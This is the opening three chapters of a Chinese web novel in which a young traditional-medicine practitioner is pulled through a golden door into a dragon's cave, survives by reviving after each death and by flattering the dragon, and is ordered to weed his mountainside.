《异世界药材造福指南》
1. 异世界的开始
日暮西斜，落日的余晖将天空霞光映得粉红。
行人鲜至的街尾一家已经落了灰的中医馆大门从外被人打开，空气中金色的尘埃随着大门的开合四下飞舞。随着阴影落下，灰尘一点一点消失在光线中，那些街坊四邻指指点点的探究目光也被阻隔在外。
年轻女人拖着疲倦的步伐走进医馆里，她穿着亚麻色长裤，深色t恤，勾勒出的背影利落瘦削。
空气里冷清至极，迎接她的只有满地狼藉的凌乱。药材们散落在地被踩踏得面目全非，椅子歪七扭八的躺在屋角，整个医馆内部乱糟糟的景象令人不住皱眉。
回到自家医馆的申姜，却对面前凌乱的景象仿佛见怪不怪，平静坦然。只是疲惫的眼眸黯淡了不少。往日里圆润可爱的婴儿肥褪去，那张亲切讨喜的脸庞莫名多出了几分距离感。
穿着布鞋的脚仿佛长了眼睛，避开了地上散乱的药材。申姜拿出扫把和簸箕，准备把这里好好打扫一番。
既然准备把这里卖掉，那就要把它干干净净的交到新主人手里。
数天前戏剧般的一幕幕在她的脑海中不自觉闪现：
奶奶是十天前在自家医馆出的事。
那天她们像平常一样开门出诊，临近中午时，有医闹上门闹事伤人，导致奶奶磕到了头被紧急送去医院抢救，至今还躺在重症监护室昏迷不醒。闹事的人见状况不对当场就跑了，至今还没有被警察抓到。
别看她们守着这样一家中医馆，其实口袋里的钱并不多，奶奶赚来的钱基本都放到了囤购药材上。医院ICU的缴费单如流水般，已经把她和奶奶的积蓄消耗一空，要是想继续治疗，申姜必须想办法筹到钱才行。
奶奶年纪大了，又是脑外伤这样凶险的病症，这趟属于是医生在鬼门关面前和阎王爷抢人，没人知道奶奶要在icu住多久才能挺过来，更没人敢说这么多钱砸下去，奶奶能不能醒来。
申姜做好了长期的心理准备，无论如何她都不会放弃奶奶，卖掉明心堂和奶奶比起来，孰轻孰重她压根就不需要思考。
天幕转暗，申姜拿着扫帚去墙角开灯，随着啪嗒一声，光如期而至，却不是她熟悉的白炽灯灯光。
面前突然出现了一扇流光溢转的金色大门。
悬在半空，十分突兀。
突然出现的大门伴着华丽的光芒流光溢彩，整扇门材质晶莹剔透，门上的图案设计独具匠心，既有几何图形的简约之美，又有自然元素的神秘之感，可门后露出的缝隙却是一片漆黑无光，显得格外诡异。
申姜被眼前超出认知范围的景象定在原地，举起扫帚就朝那扇门扔了过去。
*
好热。
巨大的热浪扑面而来，空气里几乎没有一丝水气，申姜下意识舔了舔嘴唇。
哪个好心人能告诉她，这是哪儿？
上一刻，她明明还在自己家开的中医馆打扫着被人砸得残乱不堪的诊室。
结果突然凭空出现了一扇金色大门，流淌出似水般的柔和光芒，包裹住她的身体，不由抗拒地将她径直吸入黑黢黢的门内，又把她吐到这个布满大片黑色岩石的巨大山洞。
这个可怕的体验完全颠覆了申姜的唯物主义世界观。
即使两只脚终于踩到了实处，那颗高高悬起的心却提到了嗓子眼。
怪石嶙峋的宽阔空间里光线暗沉，自带一种极适合入眠的氛围。与之相应的是山洞的另一侧那道规律起伏的平缓呼吸声。申姜承认，这里的确是个绝佳的天然助眠室，从光线到氛围无一不恰到好处。
但美中不足的是那个起起伏伏的呼吸声，真的太吓人了好么。
又不是打呼噜，何况这山洞又这么大，哪家好人能发出这么沉重的呼吸音啊。
申姜作为一名中医，几乎是第一时间就能判断出那道绵长的呼吸声背后，是一个堪比大象般的大体积动物。
一想到这山洞里可能有一头和大象差不多吨位的野生动物，申姜：“……”
这可真是人在家中坐，锅从天上来。
申姜探出头，视线缓缓扫过宽阔的山洞每个角落，最后视线定在离洞口不远的一处，心如死灰。
如她预想中一样小山丘般庞大的身躯，随着呼吸节奏的起伏，坚硬的黑色鳞甲上反射出光彩细碎神秘，脊背上的齿状凸起锋利无比，巨大的翅膀收在背脊之后，只露出微微一角。
每一样，都在提醒申姜面前的巨型生物是个绝对的杀伤性猛兽。
即使心里有所准备，申姜的全身血液还是在那一瞬间逆流而上，直冲大脑。脑子里嗡的一声后，一片空白。
动物本能畏惧比自己强大数倍的敌人，尽管对方仍在沉睡之中，可申姜还是被它庞大体积带来的压迫感镇住了。
申姜心中警铃大作，不敢想象对方一旦睁开眼，看到有个人突兀地出现在自己的卧室……
走！马上走！
趁对方还没醒，赶紧逃离这个可怕的山洞。
申姜的世界观刚刚崩塌了一角，现在则是崩塌得彻彻底底。
虽然她都能凭空出现在这种地方，世界上有一个她不认识的野生凶兽似乎也没那么奇怪。
不过能不能不要把她和这样的凶兽往一起凑啊。
申姜慢慢挪向山洞里另一侧的山壁，竭力把自己的存在感降到最低，为了保险起见，申姜索性踮起脚尖，只用脚掌前那一小块，蹑手蹑脚的贴着山壁朝着洞口光亮的源头前进。
她像一个动作十分缓慢的树懒，小心翼翼地朝着另一头透出光亮的方向一点一点移动。好在她今天穿着的是布鞋，柔软的鞋底轻轻踏在岩石上，发出的声响微不可察，这令申姜觉得局面还没有糟糕透顶。
据说目光是带有能量场的，申姜低下头，以防自己没见识的注目礼会弄醒面前的大家伙。
随着她的移动，离洞口处越来越近，不可避免和那头庞大黑兽也拉进了距离。
小山般的身躯光是黑影，带来的压迫感就已经过分强烈，申姜甚至能清楚听见自己已经提到嗓子眼的心跳声。
扑通。
扑通。
精神和□□高度紧张的状态下，人的体力消耗是惊人的，申姜越往后走越吃力，没一会，汗水浸湿了她的后背。
申姜脑海里的弦越绷越紧，好在这条路总算是有惊无险的走完了大半，再往前几步，她就能去外面呼吸新鲜空气了。
不知为什么，她总觉得这山洞里的温度太高，烧干了空气里的水分，也烧光了本就不多的氧气。
随着光线变化，阳光不知何时从山洞上方的缝隙洒下，洞穴内亮堂了不少，巨兽身下堆着密密麻麻的东西显露出真容，耀眼的光芒闪了一下申姜的眼睛，她忍不住眯眼看了一眼，入目就是满眼的金灿灿亮晶晶的璀璨宝石，差点闪瞎了她。
这样的组合，倒是不由让申姜想到了西方传说中的恶龙。
传闻中恶龙强大无比，最喜欢亮晶晶的财宝。
申姜对这种华而不实的宝石没有兴趣，也不关心那头巨兽是不是恶龙，比起这些，她更在意自己有没有命活着回家。
最后一段路了，再往前几步就能走进洞口那团丁达尔的光束里，申姜在心里给自己加油鼓劲：
“妹妹你大胆地往前走，莫回呀头。”
脑海中想起悲凉壮烈的《酒神曲》，配上唢呐极具穿透力的灵魂之音，申姜精神一震，加快了步伐。
要不说人倒霉起来连喝口水都塞牙缝呢，明明下一步申姜就要走到洞口了，谁能想到一路平坦的地面到了洞口附近，反而出现了挡路的物体。
申姜一不留神被地上的东西绊到，好悬没摔个狗吃屎。
手忙脚乱的稳定住身形，低头去看差点绊倒她的，竟然是一块森森发白的胫骨，刚才正好处于她的视觉盲区。
不知是不是错觉，陡然间，申姜感觉到了空气里到处充斥着血腥的气息。
明明课堂上早就和大体老师打了无数次交道，申姜向来没皱过眉。可现在看到一这根肖似人类胫骨的骨头，她背上的寒毛瞬间根根立起。
倘若申姜敢抬头看一眼，会发现从她视线离开那片宝石开始，那头黑色巨龙就睁开了眼睛，黑龙金色竖瞳犹如华光流转的透明宝石，高高在上地俯视着不请自入的人类，冰冷的眼神犹如在看一个死人。
不自量力的蝼蚁，竟敢旁若无人地踏进他的家四处闲逛起来，是当他死了么。
戈德温·西泽金色的龙瞳随着人类缓慢移动，只是那眼神越来越古怪。
这是个极年轻的人类女性，犹如浅粉色蔷薇花瓣的皮肤细腻娇嫩，瘦削的身材没有半点巨龙欣赏的力量美感，完全不符合一个成熟的人类骑士标准。
她的身上没有魔力波动，以至于戈德温·西泽没有第一时间发现她的存在。
再瞧瞧她身上穿的衣服，柔软至极的薄薄一层，要知道人类脆弱至极，龙坚硬的利爪能轻易将他们的身躯开膛破肚。
这还是戈德温·西泽第一次看到不穿盔甲的人类。
戈德温·西泽微微愣住，这个普通人类身上的一切都在传递一个信息：有恃无恐。
只要对方有正常的思考能力，不是一个傻子，那她绝对有种超乎寻常的自信，才敢以这样的面貌进入他的龙穴晃悠。
戈德温·西泽似乎终于意识到了最奇怪的关键处：这个人类是怎么悄无声息进入自己的龙穴之中的？
人类制造出进入洞穴的第一个噪音的同时，金色龙瞳中间黑色的瞳仁瞬缩成针。那双往日平静无波的眼眸中满是不耐和杀意。
既然对方如此自信，那就和这个世界上最强大的龙来一场正面交锋吧。
管她什么来头，他不关心也不需要知道。
山洞里突然扬起一阵风。
申姜甚至没看清自己是怎么被掀倒在地的，巨龙过分庞大的三角爪已经牢牢摁在她纤瘦的身躯上，不留一丝喘息的空间，背部与大地的亲密接触来得迅猛，痛楚从四肢百骸处传来。
显然，刚刚那声响还是惊醒了这洞穴里的巨兽。
猝不及防被一股超乎寻常的绝对性力量掀翻在地，申姜不由倒吸一口凉气。她摔得眼冒金星，浑身跟散了架似的哪哪都疼。
申姜在眩晕中抬头看向将自己牢牢摁在地上的巨兽，这一看，心跳顿时停摆了几拍。
对方实在是太过庞大，这样近距离和对方对视，视觉冲击实在是有些刺激心脏，更别说对方的爪子坚硬无比，绝对的力量感碾压在身上，对申姜造成了不小的身心震撼。
她想起新闻里不小心误入动物园老虎窝的游客，被老虎撕咬成血肉淋漓的场面……内心被渐渐升起的绝望充斥苦意。
只差一步，她就能出去
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了。
她以为自己会像奶奶那样，在明心堂勤勤恳恳的给人治一辈子病。
她没想过自己会交代在这样一个地方，就像她也没预料到奶奶会因为一个病人葬送了自己的职业生涯。
*
一龙一人，大眼瞪小眼。
谁都没动。
戈德温·西泽少有的目露惊诧，探究般的眼神在爪下的孱弱人类身上不断来回扫视。
申姜是不敢动。当然，她挣扎也是没有用的，身体被牢牢固定住，地面粗糙不平的磨砺触感紧抵，背部，胸腔前的爪子异常冰冷，冻得她忍不住哆嗦。
面前巨兽俯下身来，灯笼大小的眼珠就在身侧直凌凌盯着她，却迟迟没有行动。
胸腔被一道力量狠狠挤压，提醒着她和身前巨龙无论是是体型还是力量都差距悬殊。明明全身痛得好像散了架，申姜却在狂飙上来的肾上腺素作用下，一下子忘了疼痛。
在绝对的力量面前，她甚至连挣扎的余地都没有。
黑色巨兽眼神不善地紧紧盯着自己，偏偏就是没有对她下手，这让申姜心中不禁生出疑惑。
这大兄弟是卡机了吗？
申姜可不管它出了什么问题，既然对方没有对她痛下杀手，那就是有商量的余地了。
申姜竭力扯出一个完美的招牌无害笑容，她知道自己一旦笑起来，很容易让人卸下心防，但愿往常这无往不利的笑容释放出来的善意，对野兽也能起作用。
戈德温·西泽一见面前的人类突然冒出来一个傻乎乎的笑容，仿佛在嘲笑自己刚刚那些无能的魔法攻击。
这可是往日里无往而不利的火龙戈德温·西泽头一回在对手身上栽了跟头，还是一个看似普通至极的人类。
“……”
是条龙都不能忍受这样的挑衅！
戈德温·西泽毫不犹豫地再次碾死了对方。
三个呼吸后，人类再次“完好无损”地出现，就连衣服的褶皱都和之前一模一样。
这个人类真的古怪至极。
刚刚，他明明亲自确定对方断气，没了生命的迹象。
但几个呼吸之后，面前犹如破布般失去生命迹象的人类，总能再度睁开双眼。人类被压扁的胸腔渐渐丰盈，生出起伏，溅上去的点点血渍凭空消失，瑰粉色的面庞细腻洁白如初。
而那双小鹿般的黑色瞳仁依旧惊恐地看向自己，一如他们打的第一个照面，完全没有任何区别。
一次、两次，到最后他自己都记不清次数，只有麻木的机械性动作。
他，世界上最伟大的巨龙戈德温·西泽，竟然杀不死一个普通人类？
戈德温·西泽作为龙族之中的最强者，从来没有过败绩，可这次，他剔透的金色眼瞳终于露出了片刻的茫然。
戈德温·西泽简单回忆过去那些人类闯入者，无一不是肌肉虬髯、手持废剑、大言不惭。
那些自吹自捧犹如海上的泡沫，戈德温甚至不需要大打出手，只需用一点他最基础的火系魔法，那些人类便在他冰蓝色的龙炎之中湮没无声。
再重新审视面前的这位：瘦瘦巴巴、两手空空，还呆头呆脑。
可他却已经被逼着使出了自己会的所有魔法。
明明毫无战力，却是他平生以来遇到过最难缠的对手。
无论他用任何一种魔法，眼前小小的人类总会回到最初的状态，用那双湿漉漉的黑色瞳仁惊恐无助地看向自己。
他根本就杀不死她，她又何必惺惺作态假装害怕。
不过，这究竟是什么歪门邪道的黑魔法？真不知道修炼这种魔法的意义在哪里，等着被对手杀死然后复活？
只有进攻才是最好的防守，戈德温·西泽打心底里看不上这种古怪的魔法。
只有像他这样纯粹强大的力量，才是每个魔法生物一生该追逐的目标。
戈德温·西泽厌倦了这样无止境的循环游戏，但面前的人类实在太弱，以他的力量，一出手就能令对方当场毙命，完全没有办法做到轻伤对方。
这个人类没有半点战力，虽然他无法将她杀死，可她也无法从自己的手上逃离不是么。
戈德温·西泽的眼底闪过嘲意。
“渺小卑鄙的人类，以为靠这种上不了台面的古怪手段，就能屠龙夺宝么？”冷不丁一道冷哼从戈德温·西泽喉间溢出。
磅礴浑厚的声音在头顶炸开，仿若雷鸣，语气里带着显而易见的轻蔑。饶是环境炎热，申姜仍能感受到他语气里的森森寒意。
申姜早就觉得这黑色巨兽很像龙，没想到还真是龙。
还是个会说话的龙！
顾不上自己的世界观又崩塌了一次，申姜完全没空探究她能听懂龙语的原理，来自灵魂深处的惊喜战栗着颤抖着，申姜知道，她的一线生机已经出现了！
申姜的大脑加速疯狂运转起来，几乎是须臾之间，福灵心至。
搏一搏，单车变摩托。
申姜不顾姿态狼狈，语气分外诚恳，“尊敬的巨龙大人，我绝不是屠龙者，事实上，我是您的崇拜者！不远万里来此就是为了一睹您英勇无双的风采！”
黑龙戈德温·西泽看着那双圆滚滚的无辜黑瞳，一时之间忘了词：“……”
他好歹也是这片大陆上魔王级别的存在，怎么可能会有如此卑鄙无耻的崇拜者。
2. 异世界
突然出现的人类从行为到语言，彻底让火龙戈德温·西泽好好体会了一把什么叫失控的滋味。
他眼神古怪地看向面前看似脆弱得不堪一击的人类，怎么都探查不出她的魔法等级。
即使戈德温·西泽无法识别她的魔法属性，但只要仔细思考，这种从未见过的魔法手段并不是不能考究的。
一是传说中除了自身有足够强大的魔力，还需要光明神庇佑的顶级魔法——神圣复活魔法。对方如果信仰着光明神，根本不可能说出是他的崇拜者这种话。戈德温对人类信仰光明神略有耳闻，这部分人将光明神视若天上的太阳，神圣不可亵渎，即使是死也不会改变信仰。
那些家伙向来崇尚顶级的魔法力量，怎么可能会让自己的身躯如此脆弱。
莫非是能令时光倒流的魔法——时光回溯，将时间回溯到死者生前的状态从而使其恢复。这是一种十分古老而强大的魔法，使用时极其危险，仅对魔法实施者起效。戈德温·西泽从未亲眼见过这种逆天的魔法，在此前，他以为这魔法早已失传湮没。
刚刚人类使用了多少次时光回溯的魔法？
对方的魔法实力绝对深不可测，戈德温·西泽毫不犹豫地做出判断。
实在无法想象这种脆皮竟然掌握着如此逆天的强大魔法，还能不限次数的使用，这简直就是无敌的存在。
就算是实力最强悍的人类骑士还有魔法师全部加在一起，都没有她一个人让戈德温·西泽头疼。
戈德温·西泽有些疑惑，他承认自己强大无比，可他们的魔法理念天差地别，追求的东西天差地别，她干嘛要崇拜自己。
诡异的沉默在两人之间诞生，生怕面前的黑色巨龙没听清，申姜顿了顿，一字一句饱含期待的嗓音无比清晰地落入耳中。
“您能允许我成为您的信徒吗？”申姜带着小心翼翼的祈求口吻。
头一回遇到这样谄媚的人类，完全不可信的言辞在那张人畜无害的白皙脸庞中说出，如同魅魔施展魅力，竟不知觉高了几分可信度。
不好。
戈德温·西泽心中警铃大作，差一点，他就被面前人类那张毫无威胁力的迷惑面孔所蛊惑。
他在心里盘算起来，虽然他杀不死面前的人类，可她毫无还手之力，也许自己可以把她关起来，这样一来，如论她背后有什么阴谋诡计，都没办法打他和他那些财宝的主意。
戈德温·西泽很快否决了将人类关起来的这个念头。
他为什么要担心这种无能之辈会对自己有什么歹意？
把她关起来时时刻刻放在自己眼皮子底下，难道不是提醒他的无能吗？连这样普通孱弱的人类都无法杀死，这对他这样强大无比的龙来说简直就是奇耻大辱。
戈德温·西泽的金色瞳孔危险地眯起，似乎想通过对方的眼睛窥探进对方的灵魂。可从对方的身上感知到的，只有温暖柔和的自然元素，这不是一个狡诈恶劣的人类能够拥有的。
黑龙的金色瞳仁里再次闪过茫然之色。人类的伪装能有到如此出色的地步吗？难道这个人真是他的信徒？
“你为什么崇拜我？”戈德温·西泽漫不经心的低头，继续凝视着身下的人类。
申姜脸上一片讶然：“难道您不知道您惊人的传说早已享誉整片大陆，在无数个像我这样的人心中，您就是我们的精神领袖。”
戈德温·西泽甩了甩身后的尾巴：“哦？是么？你是因为我的强大，所以钦慕我？”
申姜连忙点头，可黑龙再度冷哼：“我不需要像你这样无能的信徒。”
赶紧滚吧，滚得越远越好。
申姜被这句嫌弃中带着杀意的龙语镇住，几乎已经预见了自己的死亡结局，大脑再度疯狂转动起来。
“我知道我很弱，尤其是在您面前根本不值一提。像您这样强大的存在，可能无法理解，不过我还是想把我的经历告诉您。
黑龙忍受着面前人类聒噪，硕大的金色眼瞳满是不耐。
“在我三岁的时候，我的妈妈就离开了这个世界。”申姜抬手对着膝盖高度的空气比了比，“那时候我才这么高。”
戈德温·西泽金色的龙瞳眨了眨，似乎看透了面前人类的想法。
这个人类在做什么？
该不会以为卖可怜就能博取他的怜悯？
要知道在龙的世界里，只有真正的勇士值得被尊重，对于那些在生命尽头妄想靠跪地求饶获得一线生机的无能鼠辈，示弱这一步简直就是在找死。
弱者只会进一步激发出巨龙更多残暴狠戾的一面。
戈德温·西泽前一刻还曾感慨过这个人类魔力强大，只是走偏了方向。现在，他为有这样一个信徒感到耻辱，黑龙的眼神逐渐泛冷。
“如果不是因为您，我想我现在还在受人欺负，如果不是为了找到您追随您，我更不会知道外面的世界如此宽广精彩。”
戈德温·西泽一愣，“因为我？”
他什么时候帮过一个人类小女孩，怎么他自己不知道？
“这件事说来话长，我成为孤儿后，去了一个专门收养我们这种失去亲人的孤儿院。里头的孩子很多，物资却少得可怜，每天只有一点点食物和穿不暖的衣服。在那里，我被其他孩子联合起来欺负得很惨。”
看出来了，就她这单薄的小身板，不欺负她欺负谁。
那她后来是怎么成长成现在这样的，倘若不是天生，后天拥有如此强大的魔力可不是件轻而易举的事情。
戈德温·西泽渐渐被勾起了好奇心，等待着她说完自己的故事。
“不怕您笑话，一开始我真的很害怕。”申姜微微一笑，眼神里有着说不清的光彩动人，“但后来我开始做一个奇怪的梦，梦里有一头黑龙始终在呼唤我，让我自己站出来，靠自己的力量保护自己。它说它是这个世界上最无与伦比的存在，只要我能做到，我就能成为它的信徒。”
戈德温·西泽一愣，黑龙？
据他所知，现在世界上只剩下他一头黑龙了。
申姜继续道：“靠着梦中黑龙给我的信念，我第一次还手了，这时我才发现，原来反抗并没有我想象的那么难……是梦里的黑龙大人给了我力量让我有勇气反抗，否则我可能无论如何都迈不出那一步。后来我终于走出了那里，一步步走到您的身边。”
戈德温·西泽听得出神，怔忪间不自觉松开了一些对人类的掣肘。
龙对人类的了解并不多，藏于龙魔法学院藏书馆内的魔法书仅仅记录了人类的贪婪无耻和狡诈多变，是以所有觊觎宝藏的人类闯入者都被戈德温·西泽在第一时间一击致命。
在身前利爪松开的那一瞬，胸腔终于涌入了大量的新鲜空气。申姜迫不及待的大口喘着气，惊魂未定的盘算
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着下一步该怎么办。
“既然是我的信徒，那你准备了什么要献给我的财宝？”巨龙雷鸣般的声音再度响起。
申姜喘气的动作呆滞，财宝？什么财宝？
“嗯？”
慵懒的尾音被拖长，带着一丝若有若无的杀气，仿佛这是再自然不过的一个流程。
申姜完全没有预料到恶龙听完故事的第一反应，竟然是开口讨礼物。
让她在要钱还是要命中二选一。这种理所当然的恶霸行径，简直差点让她单纯虔诚的表情破功。
正在夹缝中艰难求生的申姜知道，要是她拿不出一份像样的财宝，不远处那森森白骨就是自己的下场。
她的目光掠过黑龙刚才身下那片晃眼的亮晶晶们，心中忍不住吐槽恶龙的品味过分奢靡。她就是个刚步入社会工作没几年的普通人，别说她没钱，就是有钱也够不上这大爷的挑剔品味。
他宝库里的那些金灿灿亮晶晶，随便拎一个出来可能比她全部身家还值钱。
申姜身上唯一带着的。
就只有奶奶给她的护身符。
关键时候，它真的成为了自己的护身符。
即使再不舍，申姜还是抬起手臂艰难伸向了自己的脖颈，只差这一步，她应该就能获得巨龙的信任了。可巨龙看得上她手里这块小小的绿翡吗？
申姜艰难地从衣领掏出脖子上的挂坠，还不待她给这块翡翠包装上价值，黑龙已经从她的手上勾过那细细的链子，打量着这块连自己指甲盖大小都没有的小石头。
瞧她那万般不舍的模样，他还以为是什么好东西呢。
“这是什么？”
“这是鼎鼎有名的帝王绿，小小一颗就价值不菲，是翡翠中最顶级、最令人向往的颜色……”
……什么帝王绿，他只看出了一个绿字。
黑龙用看傻子的眼神看向躺在地上大放厥词的人类，仿佛在说：“你看我像傻子吗？”
申姜煞有其事道：“像这样的宝石，意义超过了价值本身，它代表的往往是身份，只有世间最尊贵的身份才能与之相配……当然，它肯定不能能巨龙大人的财宝们相提并论。”
叽里咕噜说了一堆，事实上，申姜有些夸张了这块玉坠的质地，但瞧瞧巨龙那嫌弃的眼神，她若是不给这块小翡翠上点价值，她怕巨龙感受不到她的诚意。
要她说，这块玉坠可比帝王绿更有意义，这是奶奶送她的成人礼啊！是奶奶珍藏了很久的宝贝。
戈德温·西泽不耐地抖了抖耳朵，对于人类的浅薄见识他表示不屑一顾，就这样稀碎的玩意，也值得拿出来炫耀。
所有稀碎的小宝石统一当废宝处理。
巨大的三角爪一勾，随意地将人类那连着链子的绿色小宝石精准丢进自己那一堆财宝之中，发出的清脆叮当声震得申姜的心一个哆嗦。
啊！心疼！
“既然你狂热崇拜着我，为什么我第一眼看见你的时候，你却要朝着洞外走？”
她实力不俗，来历神秘，往外走肯定不是打算逃跑。戈德温·西泽想不通理由，索性直接问出疑惑。
申姜内心的暗喜和怨念在对方的死亡凝视中戛然而止。
疯狂运转着的大脑这会显然有些宕机，没想到搬起石头砸自己的脚，她差点就忘了，巨龙发现她的时候，她正在朝外偷偷摸摸逃跑这件事。
3. 异世界
申姜面色虔诚，直接对着巨龙忏悔道歉：
“对不起，我太激动了，一见到您我就忍不住想跪地伏拜，可当我发觉您在沉睡时，才意识到自己的唐突，我竟然不请自入，这简直就是对您的亵渎！
我本打算悄悄退出去在外等候您的传唤，没想到还是惊扰了巨龙大人的美梦，我知道自己罪无可恕，可我还是想向您忏悔我这无耻的行径，希望能得到您的原谅。”
戈德温·西泽硕大的眼瞳闪过无语，她倒是自己自己该死。
这一点他们倒算是有点共识。
这个人类连他的百万分之一的攻击都抵挡不住，脆皮这个弱点反倒成了她的保护色。一旦触发死亡机制，她就能再度复活。
这个来历不明的人类身上到处是矛盾和疑点。
该死的是，她那一副死心塌地要留在自己身边的模样，让戈德温有些头疼起来，打又打不死，赶又赶不走。
难道真的要把这碍眼的家伙关起来吗。
戈德温·西泽：“呵。”
她真当他拿她没办法了么。
申姜被那道冷哼激得心里一紧，她听出来了，对方语气里三分懊恼四分漫不经心还有七分牙痒痒的恨意。
黑龙流光溢彩的金色竖瞳倒映出面前小小的人类少女，仿佛在看一具尸体的冰冷眼神让申姜忍不住心头一颤。
完了，她就不该主动说让龙惩罚自己这种话。
尽管申姜努力拿捏着狗腿子的分寸，但死神之刃还悬在头顶，豆大的汗水从她的额间滑进发隙，掉落在地，不见踪迹。
“尊敬的巨龙大人，我是真心想成为您的信徒……”
话还没说完，黑龙冷淡打断她：“我可以给你一次机会。”
惊喜从申姜的眼睛和嘴角泻出，她不敢置信的抬头，亮晶晶的眼睛里满是不可思议。
奶奶，她真的从恶龙手上死里逃生了！
戈德温·西泽的嘴角同样浮起一丝笑意，面对这个头回令他感到挫败的人类，他怎么可能轻易同意允许让对方成为自己的信徒。就在刚刚，他已经想到了最合适的考验（折磨）办法。
“外头长了不少碍眼的杂草，想必你已经见过了吧。”黑龙脸上不怀好意的笑意十分明显，“只要你愿意为我清除那些杂草，我就同意让你成为我的信徒。”
申姜傻眼，对方那明晃晃的反派笑容，她就是想装看不见也忽视不了。
阴谋，外头绝对有什么比这头巨龙更可怕的阴谋！
“怎么，你不愿意？”
申姜摇摇头，做戏做全套，好不容易到了这一步，她可不能露了怯。
戈德温冷哼一声，听得出来他很生气。
“要是不愿意……”
申姜连忙大声保证：“愿意愿意！我可太愿意了。”
“……那有多远就滚多远，别再让我看到你。”戈德温·西泽浑厚的嗓音和人类殷切的讨好声同时出现。
申姜心里缓缓打出一个问号。
……感情她嘴快答应得太早了呗。
内心发出尖锐鸣叫：早说还有这么好的事啊！要是巨龙一口气把话说完，她哪里会耽搁，早就麻溜把自己给打包上路了。
不过申姜也是没想到，这大黑龙竟然这么好说话，要么留下当园丁，要么滚出他的地界，这简直就是当世大善龙啊。
申姜在心里盘算着，一会要怎么演绎好什么叫有心无力。
她现在的人设是真心想成为龙信徒的死忠粉，一会就该过渡到实力不允许的没用粉。因为达不到龙的要求，才只能听龙的命令忍痛离开这个神圣的膜拜地。
她一定会使出全力把这个机会完美搞砸的。
*
身为这个世界上最强大的龙，戈德温天生喜爱华丽璀璨的宝石、亮晶晶的金子，热衷于追求一切美丽的存在。他可以笃定，他龙穴里的财宝是世界上当之无愧最珍稀最丰富的存在。
明明是实力强大又有品味的龙，可偏偏无论他搬到哪里，龙穴之外总会疯长出种类繁多的杂草，长得不好看不说，还都是没有魔法能量的普通植物。
这个问题不仅困扰着他，同样困扰着其他龙。
戈德温·西泽尝试过不停地搬家，但要找到一个符合龙要求的居所并不容易，往往他还没在自己的新家住热乎，龙穴外原本平整的草地就已经有乱七八糟的杂草开始冒头。
戈德温·西泽现在居住的这个山脉，是他几年前居住过的爱穴，当时他年轻气盛，一气之下用滚烈龙炎将整个山脉焚烧殆尽，大火整整烧了三个多月，直至再无任何杂草的迹象。不过杂草虽然消失，这座山头也变成了黑漆漆的癞头山，差点丑哭了戈德温的龙瞳。
这里曾经是戈德温·西泽最喜欢的家，当他发现这座黯淡的黑色丑山恢复了原来的勃勃生机时，索性懒得再外出寻觅替代品，直接搬了回来。
那些杂草随着他的回归，如今也已经丰茂无比。
戈德温不曾忘记过那些人类闯入者在龙穴外大放厥词，对他极尽嘲讽，吐槽他品味低俗不堪，连最低等的风暴猪都不乐意吃的劣等植物，竟然充斥在他龙脉的漫山遍野。
“魔力强大的蠢货一个罢了，只知道收集亮晶晶的财宝，竟然挑了这么个寒碜的地方住着。”
戈德温到现在都记得这句话，倒不是因为他受不了这份屈辱。而是当他将那群魔法师制服在地后，命令他们亲手一株一株将他山头的杂草清理干净。
他到现在都清晰记得他们的反应，有人宁死不屈，说高贵的魔法师绝不可能做这种下贱的工作。
也有人含泪拔起了杂草，仿佛巨龙要他们做的，是一件摧毁他们人格的可怕工作。
可惜，他们拔草的速度跟不上草的生长速度，在慌乱之中想要逃跑，最后被戈德温无情抹杀了。
现在他要让这个魔力强大的脆皮人类，亲自动手，为他一株一株拔除连风暴猪都不愿吃的劣等植物。
她会做吗？
戈德温·西泽隐隐有些期待起来，这样屈辱的事，自命高贵的人类魔法师除非面临生死抉择，否则绝不会乐意干。
面前的“准信徒”，究竟是会为了自己的信仰自甘堕落，还是当场崩溃落荒而逃。
“如果你说的是真的，那就让伟大的戈德温·西泽看到你的真心。”戈德温·西泽冷冷道。
原来这黑色巨龙叫戈德温·西泽。
“我一定不会让您失望的！”信徒面色坚定，似乎迫不及待想要得到他的认可。
戈德温并没有理她，只是松开了自己的大爪。
言语可能会欺骗龙，但行动永远不会。
*
申姜从龙穴走出来时心情还有几分忐忑，毕竟大黑龙最后那似笑非笑看好戏的眼神，带给她一种不太好的直觉。
但此刻，她着实被面前的景象给小小震撼了一把。
毫无遮蔽的山河图卷缓缓在眼前展开，连绵起伏的山脉宛如长龙没有尽头，临近两山仿佛被一道巨斧劈开，山壁陡峭之间形成的天然峡谷气势磅礴，谷底的湖面仿佛被打乱的调色盘，透着深深浅浅的清澈蓝绿色，从山脚起始，宛如一条蓝绿色的丝带奔向远方。
而头顶一碧如洗的天空像蓝丝绒一样美丽曼妙，此刻阳光倾泻到各个角落，每一处都仿佛闪闪发
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亮。
完全是洗眼睛程度的世界级画卷。
这里的空气好像格外澄净，和她早已习惯的雾霾天气截然相反。这条龙家门口的风景，简直比她在之前在网上看到过的世界级旅游宣传图都要震撼。
等等，自己好像从来没在网络上看见过和这里相似的风景图。申姜愣住。
申姜被脑海中突然冒出的念头吓了一跳。
她，还在原来的世界吗？
“怎么还愣在原地不动，是觉得这些杂草入不了眼，不配你弯腰？”
低沉磅礴的龙吟不满地从洞穴口逸出，提醒着申姜这一切的真实，死神的镰刀还垂在颈侧，她不该放松警惕。
申姜忙不迭回应：“巨龙大人家门口这雄伟壮丽的景色简直美到不真实，原谅我太没见识，一下子看呆了。”
她眼下还是先渡过眼前这个难关，否则说不定自己可能走在奶奶前头，申姜将袖口的纽扣扣上，又将裤脚扎进袜子里，准备先好好表现一下，好证明自己的忠心。
不过这山头实在是太大了，她一个人怎么也不可能完成巨龙的任务。申姜放下心来，只要她卯足了劲知难而退，巨龙说的有多远滚多远马上就能实现。
说不定天黑之前她就踏上了回家的路途。
这山上没有路，毕竟没有人会闲着没事来龙穴附近溜达，想必龙也不会在它口中的杂草里漫步。
申姜走进草丛之中，有些费力，有草籽钻进袜子里，时不时扎得脚刺疼。
申姜咬牙，比起刚才被巨龙力量擎制时的痛楚，这点疼痛根本算不上什么。
随着她静下心来清理杂草，申姜惊喜地发现，巨龙口中的杂草竟然都是她认识的植物，多麦娘、棒头草这些她跟着奶奶上山采药的时候经常见到。
这下申姜放心了，乐观点想，她应该还在自己原来的世界，不会发生回不了家的情况。
直到她大汗淋漓地清空了眼前的一小片杂草地，面前出现的新植物让她瞠目结舌。
*
